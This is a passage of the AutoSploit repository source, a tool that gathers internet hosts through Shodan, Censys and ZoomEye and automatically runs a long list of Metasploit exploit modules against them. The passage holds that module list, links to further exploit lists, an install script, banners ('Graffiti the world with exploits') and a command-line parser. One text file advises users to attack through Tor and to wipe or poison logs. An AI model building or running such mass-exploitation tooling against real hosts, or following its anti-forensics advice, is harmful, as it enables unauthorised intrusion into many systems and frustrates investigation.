| "exploit/linux/http/op5_config_exec", 167 | "exploit/linux/http/pandora_fms_exec", 168 | "exploit/linux/http/pineapple_preconfig_cmdinject", 169 | "exploit/linux/http/seagate_nas_php_exec_noauth", 170 | "exploit/linux/http/symantec_messaging_gateway_exec", 171 | "exploit/linux/http/trendmicro_imsva_widget_exec", 172 | "exploit/linux/http/trueonline_billion_5200w_rce", 173 | "exploit/linux/http/trueonline_p660hn_v1_rce", 174 | "exploit/linux/http/trueonline_p660hn_v2_rce", 175 | "exploit/linux/http/vcms_upload", 176 | "exploit/linux/misc/lprng_format_string", 177 | "exploit/linux/misc/mongod_native_helper", 178 | "exploit/linux/misc/ueb9_bpserverd", 179 | "exploit/linux/mysql/mysql_yassl_getname", 180 | "exploit/linux/pop3/cyrus_pop3d_popsubfolders", 181 | "exploit/linux/postgres/postgres_payload", 182 | "exploit/linux/pptp/poptop_negative_read", 183 | "exploit/linux/proxy/squid_ntlm_authenticate", 184 | "exploit/linux/samba/lsa_transnames_heap", 185 | "exploit/linux/samba/setinfopolicy_heap", 186 | "exploit/linux/samba/trans2open", 187 | "exploit/multi/elasticsearch/script_mvel_rce", 188 | "exploit/multi/elasticsearch/search_groovy_script", 189 | "exploit/multi/http/atutor_sqli", 190 | "exploit/multi/http/axis2_deployer", 191 | "exploit/multi/http/familycms_less_exe", 192 | "exploit/multi/http/freenas_exec_raw", 193 | "exploit/multi/http/gestioip_exec", 194 | "exploit/multi/http/glassfish_deployer", 195 | "exploit/multi/http/glpi_install_rce", 196 | "exploit/multi/http/joomla_http_header_rce ", 197 | "exploit/multi/http/makoserver_cmd_exec", 198 | "exploit/multi/http/novell_servicedesk_rc", 199 | "exploit/multi/http/oracle_reports_rce", 200 | "exploit/multi/http/php_utility_belt_rce", 201 | "exploit/multi/http/phpfilemanager_rce", 202 | "exploit/multi/http/phpmyadmin_3522_backdoor", 203 | "exploit/multi/http/phpwiki_ploticus_exec", 204 | "exploit/multi/http/processmaker_exec", 205 | "exploit/multi/http/rails_actionpack_inline_exec", 206 | "exploit/multi/http/rails_dynamic_render_code_exec", 207 | "exploit/multi/http/rails_secret_deserialization", 208 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 209 | "exploit/multi/http/simple_backdoors_exec", 210 | "exploit/multi/http/spree_search_exec", 211 | "exploit/multi/http/spree_searchlogic_exec", 212 | "exploit/multi/http/struts2_rest_xstream", 213 | "exploit/multi/http/struts_code_exec", 214 | "exploit/multi/http/struts_code_exec_classloader", 215 | "exploit/multi/http/struts_code_exec_parameters", 216 | "exploit/multi/http/struts_dev_mode", 217 | "exploit/multi/http/sysaid_auth_file_upload", 218 | "exploit/multi/http/tomcat_jsp_upload_bypass", 219 | "exploit/multi/http/vtiger_install_rce", 220 | "exploit/multi/http/werkzeug_debug_rce", 221 | "exploit/multi/http/zemra_panel_rce", 222 | "exploit/multi/http/zpanel_information_disclosure_rce", 223 | "exploit/multi/ids/snort_dce_rpc", 224 | "exploit/multi/misc/batik_svg_java", 225 | "exploit/multi/misc/pbot_exec", 226 | "exploit/multi/misc/veritas_netbackup_cmdexec", 227 | "exploit/multi/mysql/mysql_udf_payload", 228 | "exploit/multi/php/php_unserialize_zval_cookie", 229 | "exploit/unix/http/freepbx_callmenum", 230 | "exploit/unix/http/lifesize_room", 231 | "exploit/unix/http/pfsense_clickjacking", 232 | "exploit/unix/http/pfsense_group_member_exec", 233 | "exploit/unix/http/tnftp_savefile", 234 | "exploit/unix/misc/polycom_hdx_traceroute_exec", 235 | "exploit/unix/webapp/awstats_migrate_exec", 236 | "exploit/unix/webapp/carberp_backdoor_exec", 237 | "exploit/unix/webapp/citrix_access_gateway_exec", 238 | "exploit/unix/webapp/dogfood_spell_exec", 239 | "exploit/unix/webapp/invision_pboard_unserialize_exec", 240 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce", 241 | "exploit/unix/webapp/mybb_backdoor", 242 | "exploit/unix/webapp/opensis_modname_exec", 243 | "exploit/unix/webapp/oscommerce_filemanager", 244 | "exploit/unix/webapp/piwik_superuser_plugin_upload", 245 | "exploit/unix/webapp/tikiwiki_upload_exec", 246 | "exploit/unix/webapp/webtester_exec", 247 | "exploit/unix/webapp/wp_phpmailer_host_header", 248 | "exploit/unix/webapp/wp_total_cache_exec", 249 | "exploit/windows/antivirus/symantec_endpoint_manager_rce", 250 | "exploit/windows/http/ektron_xslt_exec", 251 | "exploit/windows/http/ektron_xslt_exec_ws", 252 | "exploit/windows/http/geutebrueck_gcore_x64_rce_bo", 253 | "exploit/windows/http/hp_autopass_license_traversal", 254 | "exploit/windows/http/manage_engine_opmanager_rce", 255 | "exploit/windows/http/netgear_nms_rce", 256 | "exploit/windows/http/sepm_auth_bypass_rce", 257 | "exploit/windows/http/trendmicro_officescan_widget_exec", 258 | "exploit/windows/iis/iis_webdav_upload_asp", 259 | "exploit/windows/iis/msadc", 260 | "exploit/windows/misc/manageengine_eventlog_analyzer_rce", 261 | "exploit/windows/novell/file_reporter_fsfui_upload", 262 | "exploit/windows/scada/ge_proficy_cimplicity_gefebt", 263 | "exploit/windows/smb/ipass_pipe_exec", 264 | "exploit/windows/smb/smb_relay", 265 | "auxiliary/sqli/oracle/jvm_os_code_10g", 266 | "auxiliary/sqli/oracle/jvm_os_code_11g" 267 | ] 268 | } 269 | -------------------------------------------------------------------------------- /etc/scripts/start_services.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function startApacheLinux () { 4 | # NOTE: if you are running on Arch uncomment this 5 | #sudo systemctl start apache > /dev/null 2>&1 6 | # and comment this one out 7 | sudo systemctl start apache2 > /dev/null 2>&1 8 | } 9 | 10 | function startPostgreSQLLinux () { 11 | sudo systemctl start postgresql > /dev/null 2>&1 12 | } 13 | 14 | function main () { 15 | if [ $1 == "linux" ]; then 16 | startApacheLinux; 17 | startPostgreSQLLinux; 18 | else 19 | echo "[*] invalid operating system"; 20 | fi 21 | } 22 | 23 | main $@; 24 | -------------------------------------------------------------------------------- /etc/text_files/auth.key: -------------------------------------------------------------------------------- 1 | Vm0wd2VFMUdiRmhTV0d4V1YwZG9XVll3WkRSV1ZteHlWMjVrVlUxV2NIbFdNalZyWVZVeFYxZHVhRmRTZWtFeFZtMTRTMk15VGtsaFJscHBWa1ZhU1ZkV1VrZFRNazE0Vkc1V2FsSnRhRzlVVmxwWFRrWmFjbHBFVWxwV2JIQllWVEkxVDFkSFNraFZiR2hhWVRGYU0xWXhXbUZqTVZwMFVteG9hVlpyV1hwV1IzaGhZekZhU0ZOclpGaGlSMmhvVm1wT1UyRkdiRlpYYlhScVlrWmFlVlV5Y3pGV01rcEpVV3hzVjFaNlJUQlpla3BIWXpGT2MxWnNaR2xTYTNCWFZtMHhOR1F3TUhoalJXaHNVakJhVlZWc1VsZFhiR1J5VjIxR2FGWnNjSHBaTUZadlZqRktjMk5HYUZwaGExcG9WbXBHYTJOc1pISlBWbVJPWWxkb1dsWXhXbE5TTVZwMFZtdGthbEpXY0ZsWmExVXhZMVpTVjFkdFJrNVdiRlkxV1ROd1YxWnJNVmRqUldSWFRXNUNTRlpxUm1GV01rNUhWRzFHVTFKV2NFVldiR1EwVVRGYVZrMVZWazVTUkVFNQ==:9 -------------------------------------------------------------------------------- /etc/text_files/checksum_link.txt: -------------------------------------------------------------------------------- 1 | https://gist.githubusercontent.com/Ekultek/cdf0d417ab5f023e99b89c1a4c7c3be8/raw/f91496698d4218565cba01b2d1c620efe80e6095/checksums.md5 -------------------------------------------------------------------------------- /etc/text_files/ethics.lst: -------------------------------------------------------------------------------- 1 | "Consider if playing Xbox would be a wiser choice before proceeding..." 2 | "Think of it this way, is it worth the jail time?" 3 | "In the end, I can't figure out how to use Autosploit in a way that isn't merely a random act of vandalism.." 4 | "Threat or menace? 'Autosploit' tool sparks fears of empowered 'script kiddies'" 5 | "So far the response to AutoSploit has been a mix of outrage, fear, some applause, and more than a few shrugs." 6 | "Releasing AutoSploit, making mass exploitation even easier, was irresponsible. My friends at the FBI remind us all that while exploitation is easier, it is not any less illegal. #scriptkiddiesbeware" 7 | "New tool makes hacking even easier. Many people are critical of the release." 8 | "The kids are not more dangerous. They already were dangerous. We’ve simply given them a newer, simpler, shinier way to exploit everything that’s broken. Maybe we should fix the ROOT problem" 9 | "This provides an unending opportunity for cybercriminals and script kiddies to hijack vulnerable devices and subsequently launch attacks against online organizations with ease" 10 | "Both Metasploit and Shodan have been available for years, as integral to the pen testers toolkit as Nessus and Burpsuite. But with Autosploit pulling them together, the concern should be focused on curious kids thinking it would be fun to see what they can find" 11 | "My fear is that this has magnified the attack surface, and made it so that every exposed service on the internet will be scanned and probed on a near-constant basis by an entirely new set of attackers." 12 | "The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" 13 | "Good to know we’ve weaponized for the masses. Everyone can now be a script kiddie simply by plugging, playing and attacking." 14 | "The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." 15 | "I can't believe it's not skidware!" -------------------------------------------------------------------------------- /etc/text_files/gen: -------------------------------------------------------------------------------- 1 | Usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. It is the 2 | end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible 3 | for any misuse or damage caused by this program or any component thereof. 4 | 5 | Developers do not encourage nor condone any illegal activity; 6 | 7 | In OffSec/RedTeam engagements it is important however to mind your operational security. With that in mind, please consider the following: 8 | 9 | - Use AutoSploit on a VPS through a proxy(chain) or Tor 10 | - Keep calm and wipe/data-poison the logs or use tools to do so 11 | - Never connect from your local IP address 12 | - Keep a low profile, AutoSploit is loud 13 | 14 | 15 | In closing, knowledge is not illegal and anybody that tells you learning is wrong is a fool. 16 | Get as much out of this program as we got from writing it. Remember though, common sense and a sense of ethics go a long way. 17 | 18 | Thank you. 19 | -------------------------------------------------------------------------------- /etc/text_files/general: -------------------------------------------------------------------------------- 1 | +------------------------------------------------------------------------+ 2 | | AutoSploit General Usage and Information | 3 | +------------------------------------------------------------------------+ 4 | | As the name suggests AutoSploit attempts to automate the exploitation | 5 | | of remote hosts. Targets are collected by employing the Shodan.io API. | 6 | | | 7 | | The 'Gather Hosts' option will open a dialog from which you can | 8 | | enter platform specific search queries such as 'Apache' or 'IIS'. | 9 | | Upon doing so a list of candidates will be retrieved and saved to | 10 | | hosts.txt in the current working directory. | 11 | | Options to load a custom list of hosts has been | 12 | | included. | 13 | | After this operation has been completed the 'Exploit' option will | 14 | | go about the business of attempting to exploit these targets by | 15 | | running a range of Metasploit modules against them. | 16 | | | 17 | | Workspace, local host and local port for MSF facilitated | 18 | | back connections are configured through the dialog that comes up | 19 | | before the 'Exploit' module is started. | 20 | | | 21 | +-------------------+----------------------------------------------------+ 22 | | Option | Summary | 23 | +-------------------+----------------------------------------------------+ 24 | | 1. Usage/Legal | Display this informational message & Disclaimer | 25 | | 2. Gather Hosts | Query Shodan for a list of platform specific IPs. | 26 | | 3. Custom Hosts | Load in a custom list of IPs/Rhosts | 27 | | 4. Single Host | Add a single host to list and/or exploit directly | 28 | | 5. View Hosts | Print gathered IPs/RHOSTS. | 29 | | 6. Exploit | Configure MSF and Start exploiting gathered targets| 30 | | 99. Quit | Exits AutoSploit. | 31 | +-------------------+----------------------------------------------------+ 32 | | Legal Disclaimer | 33 | +------------------------------------------------------------------------+ 34 | | Usage of AutoSploit for attacking targets without prior mutual consent | 35 | | is illegal. It is the end user's responsibility to obey all applicable | 36 | | local, state, and federal laws. Developers assume no liability and are | 37 | | not responsible for any misuse or damage caused by this program. | 38 | +------------------------------------------------------------------------+ 39 | -------------------------------------------------------------------------------- /etc/text_files/links.txt: -------------------------------------------------------------------------------- 1 | https://gist.githubusercontent.com/Ekultek/f51e6d61817721aa9341a1f1e66d3602/raw/82dfa8234d2f744c99bc277a1c73efc39770cff6/wordpress_exploits.txt 2 | https://gist.githubusercontent.com/Ekultek/76202c6fa170d6da501da5ab303f01f0/raw/da5205919f1a47f2ccc9c75ab26e1456ad91d3d4/all_exploits.txt 3 | https://gist.githubusercontent.com/Ekultek/e04f27632d40bf10da338b61b8416f95/raw/8c949dd2aa8047ded828b1220e13101b6f28d9ab/linux_exploits.txt 4 | https://gist.githubusercontent.com/Ekultek/d4658fe488f9edafe2b2edc1910e1983/raw/13c21c0ed20b4b10df79b93566fdd111df77f1ed/windows_exploits.txt 5 | https://gist.githubusercontent.com/Ekultek/219036c05e21d8352b4181cbe3df5f4f/raw/0e907b387fa2b35dc75cb94120172155d8d3eb3e/smb_exploits.txt 6 | https://gist.githubusercontent.com/Ekultek/066e1c9285f2a60d2b7103b4d1972864/raw/03d06809a3d79d51f19e3d0c77fb9783f961c485/samba_exploits.txt 7 | https://gist.githubusercontent.com/Ekultek/e9a5c7d37fc58b77bed241d8f2811e8a/raw/789839b93c2c8ce7cc6240cafedfa8e30c2ae4e1/all_rce_exploits.txt 8 | https://gist.githubusercontent.com/Ekultek/c69a01e688ed1739d9e572722ea37ed5/raw/63ead0225784de9389059745b1c869face015d7c/2018_rce_exploits.txt 9 | https://gist.githubusercontent.com/Ekultek/6d1d2d0a83715cb0314fead1ff2768a1/raw/b4fb17df1c3c09464741547ccff674262168a015/excellent_exploits.txt 10 | https://gist.githubusercontent.com/Ekultek/4a06da7d69f8f7f24542f7e978ad67a5/raw/5623ac8b9e4dc8e246e013dc7d7e2b5a31948d78/os_command_exploits.txt 11 | https://gist.githubusercontent.com/Ekultek/2d7e0d98b37b1d06676d409fe0c5b899/raw/f4fe9b3c400dcf86a8147fd903a6ee13e3fbe5f5/buffer_overflow_exploit.txt 12 | https://gist.githubusercontent.com/Ekultek/fdac157e66b82fea3075d2149e9aa1d3/raw/c5002d9c9e2918084e16b83fc1a9af06cf26bd05/osx_exploits.txt -------------------------------------------------------------------------------- /etc/text_files/nmap_opts.lst: -------------------------------------------------------------------------------- 1 | -iL 2 | -iR 3 | --exclude 4 | --excludefile 5 | -sL 6 | -sn 7 | -Pn 8 | -PS 9 | -PA 10 | -PU 11 | -PY 12 | -PE 13 | -PP 14 | -PM 15 | -PO 16 | -n 17 | -R 18 | --dns-servers 19 | --system-dns 20 | --traceroute 21 | -sS 22 | -sT 23 | -sA 24 | -sW 25 | -sM 26 | -sU 27 | -sN 28 | -sF 29 | -sX 30 | --scanflags 31 | -sI 32 | -sY 33 | -sZ 34 | -sO 35 | -b 36 | -p 37 | --exclude-ports 38 | -F 39 | -r 40 | --top-ports 41 | --port-ratio 42 | -sV 43 | --version-intensity 44 | --version-light 45 | --version-all 46 | --version-trace 47 | -sC 48 | --script 49 | --script-args 50 | --script-args-file 51 | --script-trace 52 | --script-updatedb 53 | --script-help 54 | -O 55 | --osscan-limit 56 | --osscan-guess 57 | -T 58 | --min-hostgroup 59 | --max-hostgroup 60 | --min-parallelism 61 | --max-parallelism 62 | --min-rtt-timeout 63 | --max-rtt-timeout 64 | --initial-rtt-timeout 65 | --max-retries 66 | --host-timeout 67 | --scan-delay 68 | --max-scan-delay 69 | --min-rate 70 | --max-rate 71 | -f 72 | --mtu 73 | -D 74 | -S 75 | -e 76 | -g 77 | --source-port 78 | --proxies 79 | --data 80 | --data-string 81 | --data-length 82 | --ip-options 83 | --ttl 84 | --spoof-mac 85 | --badsum 86 | -oN 87 | -oX 88 | -oS 89 | -oG 90 | -oA 91 | -v 92 | -d 93 | --reason 94 | --open 95 | --packet-trace 96 | --iflist 97 | --append-output 98 | --resume 99 | --stylesheet 100 | --webxml 101 | --no-stylesheet 102 | -6 103 | -A 104 | --datadir 105 | --send-eth/--send-ip 106 | --privileged 107 | --unprivileged -------------------------------------------------------------------------------- /etc/text_files/passes.lst: -------------------------------------------------------------------------------- 1 | Vm0xNFUxSXlTWGxUV0dST1UwZFNUMVV3YUVOWFZteFZVMnhPV0ZKdGVIcFdiR2hyWWtaYWMxTnVjRmRpV0VKRVdWZDRkMDVyTVVWaGVqQTk=:7 -------------------------------------------------------------------------------- /etc/text_files/users.lst: -------------------------------------------------------------------------------- 1 | Vm1wR2IyUXhVWGhXV0d4V1lteEtWVmx0ZUV0WFJteFZVVzFHYWxac1NsbGFWV1JIWVd4YWMxTnJiRlZXYkhCUVdWUktTMU5XUmxsalJscFRZa1ZaZWxaVldrWlBWa0pTVUZRd1BRPT0=:7 -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo " ____ __ __ ______ ___ _____ ____ _ ___ ____ ______ "; 4 | echo " / || | || | / \ / ___/| \| | / \| || |"; 5 | echo "| o || | || || ( \_ | o ) | | || | | |"; 6 | echo "| || | ||_| |_|| O |\__ || _/| |___ | O || | |_| |_|"; 7 | echo "| _ || : | | | | |/ \ || | | || || | | | "; 8 | echo "| | || | | | | |\ || | | || || | | | "; 9 | echo "|__|__| \__,_| |__| \___/ \___||__| |_____| \___/|____| |__| "; 10 | echo " "; 11 | 12 | function installDebian () { 13 | sudo apt-get update; 14 | sudo apt-get -y install git python2.7 python-pip postgresql apache2; 15 | pip2 install requests psutil; 16 | installMSF; 17 | } 18 | 19 | function installFedora () { 20 | sudo yum -y install git python-pip; 21 | pip2 install requests psutil; 22 | installMSF; 23 | } 24 | 25 | function installOSX () { 26 | xcode-select --install; 27 | /usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"; 28 | echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile; 29 | source ~/.bash_profile; 30 | brew tap homebrew/versions; 31 | brew install nmap; 32 | brew install homebrew/versions/ruby21; 33 | gem install bundler; 34 | brew install postgresql --without-ossp-uuid; 35 | initdb /usr/local/var/postgres; 36 | mkdir -p ~/Library/LaunchAgents; 37 | cp /usr/local/Cellar/postgresql/9.4.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/; 38 | launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist; 39 | createuser msf -P -h localhost; 40 | createdb -O msf msf -h localhost; 41 | installOsxMSF; 42 | } 43 | 44 | function installOsxMSF () { 45 | mkdir /usr/local/share; 46 | cd /usr/local/share/; 47 | git clone https://github.com/rapid7/metasploit-framework.git; 48 | cd metasploit-framework; 49 | for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done; 50 | sudo chmod go+w /etc/profile; 51 | sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile; 52 | bundle install; 53 | echo "[!!] A DEFAULT CONFIG OF THE FILE 'database.yml' WILL BE USED"; 54 | rm /usr/local/share/metasploit-framework/config/database.yml; 55 | cat > /usr/local/share/metasploit-framework/config/database.yml << '_EOF' 56 | production: 57 | adapter: postgresql 58 | database: msf 59 | username: msf 60 | password: 61 | host: 127.0.0.1 62 | port: 5432 63 | pool: 75 64 | timeout: 5 65 | _EOF 66 | source /etc/profile; 67 | source ~/.bash_profile; 68 | } 69 | 70 | function installMSF () { 71 | if [[ ! "$(which msfconsole)" = */* ]]; then 72 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ 73 | chmod 755 msfinstall && \ 74 | ./msfinstall; 75 | rm msfinstall; 76 | fi 77 | } 78 | 79 | function install () { 80 | case "$(uname -a)" in 81 | *Debian*|*Ubuntu*) 82 | installDebian; 83 | ;; 84 | *Fedora*) 85 | installFedora; 86 | ;; 87 | *Darwin*) 88 | installOSX; 89 | ;; 90 | *) 91 | echo "Unable to detect an operating system that is compatible with AutoSploit..."; 92 | ;; 93 | esac 94 | echo ""; 95 | echo "Installation Complete"; 96 | } 97 | 98 | install; 99 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/__init__.py -------------------------------------------------------------------------------- /lib/banner.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | 4 | VERSION = "4.0" 5 | 6 | 7 | def banner_1(line_sep="#--", space=" " * 30): 8 | banner = """\033[1m\033[36m{space_sep}_____ _ _____ _ _ _ 9 | {sep1}Author : Vector/NullArray | _ |_ _| |_ ___| __|___| |___|_| |_ 10 | {sep1}Twitter: @Real__Vector | | | | _| . |__ | . | | . | | _| 11 | {sep1}Type : Mass Exploiter |__|__|___|_| |___|_____| _|_|___|_|_| 12 | {sep1}Version: {v_num}{spacer} |_| 13 | ##############################################\033[0m 14 | """.format(sep1=line_sep, v_num=VERSION, space_sep=space, spacer=" " * 8) 15 | return banner 16 | 17 | 18 | def banner_2(): 19 | banner = r""" 20 | {blue}--+{end} {red}Graffiti the world with exploits{end} {blue}+--{end} 21 | {blue}--+{end} __ ____ {blue}+--{end} 22 | {blue}--+{end} / _\ / ___) {blue}+--{end} 23 | {blue}--+{end} / \\___ \ {blue}+--{end} 24 | {blue}--+{end} \_/\_/(____/ {blue}+--{end} 25 | {blue}--+{end} {red}AutoSploit{end} {blue}+--{end} 26 | {blue}--+{end} NullArray/Eku {blue}+--{end} 27 | {blue}--+{end}{minor_space2} v({red}{vnum}{end}){minor_space} {blue}+--{end} 28 | """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", 29 | minor_space=" " * 1 if len(VERSION) == 3 else "", 30 | minor_space2=" " * 1 if len(VERSION) == 3 else "") 31 | return banner 32 | 33 | 34 | def banner_3(): 35 | banner = r'''#SploitaSaurusRex{green} 36 | O_ RAWR!! 37 | / > 38 | - > ^\ 39 | / > ^ / 40 | (O) > ^ / / / / 41 | _____ | \\|// 42 | / __ \ _/ / / _/ 43 | / / | | / / / / 44 | _/ |___/ / / ------_/ / 45 | ==_| \____/ _/ / ______/ 46 | \ \ __/ |\ 47 | | \_ ____/ / \ _ 48 | \ \________/ |\ \----/_V 49 | \_ / \_______ V 50 | \__ / \ / V 51 | \ \ \ 52 | \______ \_ \ 53 | \__________\_ \ 54 | / / \_ | 55 | | _/ \ | 56 | / _/ \ | 57 | | / | | 58 | \ \__ | \__ 59 | /\____=\ /\_____=\{end} v({vnum})'''''.format( 60 | green="\033[1m\033[32m", end="\033[0m", vnum=VERSION 61 | ) 62 | return banner 63 | 64 | 65 | def banner_4(): 66 | banner = r""" 67 | {red} .__. , __. . , {end} 68 | {red} [__]. .-+- _ (__ ._ | _ *-+- {end} 69 | {red} | |(_| | (_).__)[_)|(_)| | {end} 70 | {red} | {end} 71 | {red} _ ._ _ , _ ._ {end} 72 | {red} (_ ' ( ` )_ .__) {end} 73 | {red} ( ( ( ) `) ) _) {end} 74 | {red} (__ (_ (_ . _) _) ,__) {end} 75 | {red} `~~`\ ' . /`~~` {end} 76 | {red} ; ; {end} 77 | {red} / \ {end} 78 | {red} _____________/_ __ \_____________ {end} 79 | 80 | {blue}--------The Nuclear Option--------{end} 81 | {blue}-----+ v({red}{vnum}{end}{blue}){spacer}+-----{end} 82 | {blue}-----------NullArray/Eku----------{end} 83 | {blue}__________________________________{end} 84 | """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", 85 | spacer=" " * 9 if len(VERSION) == 3 else " " * 7) 86 | return banner 87 | 88 | 89 | def banner_5(): 90 | banner = r""" 91 | {red}. ' .{end} 92 | {red}' .( '.) '{end} 93 | {white}_{end} {red}('-.)' (`'.) '{end} 94 | {white}|0|{end}{red}- -( #autosploit ){end} 95 | {grey}.--{end}{white}`+'{end}{grey}--.{end} {red}. (' -,).(') .{end} 96 | {grey}|`-----'|{end} {red}(' .) - ('. ){end} 97 | {grey}| |{end} {red}. (' `. ){end} 98 | {grey}| {red}.-.{end} {grey}|{end} {red}` . `{end} 99 | {grey}| {red}(0.0){end}{grey} |{end} 100 | {grey}| {red}>|=|<{end} {grey}|{end} 101 | {grey}| {red}`"`{end}{grey} |{end} 102 | {grey}| |{end} 103 | {grey}| |{end} 104 | {grey}`-.___.-'{end} 105 | v({red}{version}{end}) 106 | """.format(end="\033[0m", grey="\033[36m", white="\033[37m", version=VERSION, red="\033[31m") 107 | return banner 108 | 109 | 110 | def banner_main(): 111 | """ 112 | grab a random banner each run 113 | """ 114 | banners = [ 115 | banner_5, banner_4, 116 | banner_3, banner_2, banner_1 117 | ] 118 | if os.getenv("Graffiti", False): 119 | return banner_5() 120 | elif os.getenv("AutosploitOG", False): 121 | return banner_1() 122 | elif os.getenv("Nuclear", False): 123 | return banner_4() 124 | elif os.getenv("SploitaSaurusRex", False): 125 | return banner_3() 126 | elif os.getenv("Autosploit2", False): 127 | return banner_2() 128 | else: 129 | return random.choice(banners)() 130 | -------------------------------------------------------------------------------- /lib/cmdline/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/cmdline/__init__.py -------------------------------------------------------------------------------- /lib/cmdline/cmd.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import random 4 | import argparse 5 | 6 | import lib.output 7 | import lib.jsonize 8 | import lib.settings 9 | import api_calls.censys 10 | import api_calls.shodan 11 | import api_calls.zoomeye 12 | import lib.exploitation.exploiter 13 | 14 | 15 | class AutoSploitParser(argparse.ArgumentParser): 16 | 17 | def __init__(self): 18 | super(AutoSploitParser, self).__init__() 19 | 20 | @staticmethod 21 | def optparser(): 22 | 23 | """ 24 | the options function for our parser, it will put everything into play 25 | """ 26 | 27 | parser = argparse.ArgumentParser( 28 | usage="python autosploit.py -c[z|s|a] -q QUERY [-O|A]\n" 29 | "{spacer}[-C WORKSPACE LHOST LPORT] [-e] [--whitewash PATH] [-H]\n" 30 | "{spacer}[--ruby-exec] [--msf-path] PATH [-E EXPLOIT-FILE-PATH]\n" 31 | "{spacer}[--rand-agent] [--proxy PROTO://IP:PORT] [-P AGENT] [-D QUERY,QUERY,..]".format( 32 | spacer=" " * 28 33 | ) 34 | ) 35 | se = parser.add_argument_group("search engines", "possible search engines to use") 36 | se.add_argument("-c", "--censys", action="store_true", dest="searchCensys", 37 | help="use censys.io as the search engine to gather hosts") 38 | se.add_argument("-z", "--zoomeye", action="store_true", dest="searchZoomeye", 39 | help="use zoomeye.org as the search engine to gather hosts") 40 | se.add_argument("-s", "--shodan", action="store_true", dest="searchShodan", 41 | help="use shodan.io as the search engine to gather hosts") 42 | se.add_argument("-a", "--all", action="store_true", dest="searchAll", 43 | help="search all available search engines to gather hosts") 44 | save_results_args = se.add_mutually_exclusive_group(required=False) 45 | save_results_args.add_argument( 46 | "-O", "--overwrite", action="store_true", dest="overwriteHosts", 47 | help="When specified, start from scratch by overwriting the host file with new search results." 48 | ) 49 | save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", 50 | help="When specified, append discovered hosts to the host file.") 51 | 52 | req = parser.add_argument_group("requests", "arguments to edit your requests") 53 | req.add_argument("--proxy", metavar="PROTO://IP:PORT", dest="proxyConfig", 54 | help="run behind a proxy while performing the searches") 55 | req.add_argument("--random-agent", action="store_true", dest="randomAgent", 56 | help="use a random HTTP User-Agent header") 57 | req.add_argument("-P", "--personal-agent", metavar="USER-AGENT", dest="personalAgent", 58 | help="pass a personal User-Agent to use for HTTP requests") 59 | req.add_argument("-q", "--query", metavar="QUERY", dest="searchQuery", 60 | help="pass your search query") 61 | 62 | exploit = parser.add_argument_group("exploits", "arguments to edit your exploits") 63 | exploit.add_argument("-E", "--exploit-file", metavar="PATH", dest="exploitList", 64 | help="provide a text file to convert into JSON and save for later use") 65 | exploit.add_argument("-C", "--config", nargs=3, metavar=("WORKSPACE", "LHOST", "LPORT"), dest="msfConfig", 66 | help="set the configuration for MSF (IE -C default 127.0.0.1 8080)") 67 | exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", 68 | help="start exploiting the already gathered hosts") 69 | exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", 70 | help="msfconsole will never be called when this flag is passed") 71 | exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", 72 | help="Run AutoSploit with provided exploit JSON file.") 73 | exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE", 74 | help="Determine if the host is a honeypot or not") 75 | 76 | misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") 77 | misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", 78 | help="if you need to run the Ruby executable with MSF use this") 79 | misc.add_argument("--msf-path", metavar="MSF-PATH", dest="pathToFramework", 80 | help="pass the path to your framework if it is not in your ENV PATH") 81 | misc.add_argument("--ethics", action="store_true", dest="displayEthics", 82 | help=argparse.SUPPRESS) # easter egg! 83 | misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", 84 | help="only exploit hosts listed in the whitelist file") 85 | misc.add_argument("-D", "--download", nargs="+", metavar="SEARCH1 SEARCH2 ...", dest="downloadModules", 86 | help="download new exploit modules with a provided search flag") 87 | opts = parser.parse_args() 88 | return opts 89 | 90 | @staticmethod 91 | def parse_provided(opt): 92 | """ 93 | parse the provided arguments to make sure that they are all compatible with one another 94 | """ 95 | parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan]) 96 | 97 | if opt.rubyExecutableNeeded and opt.pathToFramework is None: 98 | lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch") 99 | if opt.pathToFramework is not None and not opt.rubyExecutableNeeded: 100 | lib.settings.close( 101 | "if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch" 102 | ) 103 | if opt.personalAgent is not None and 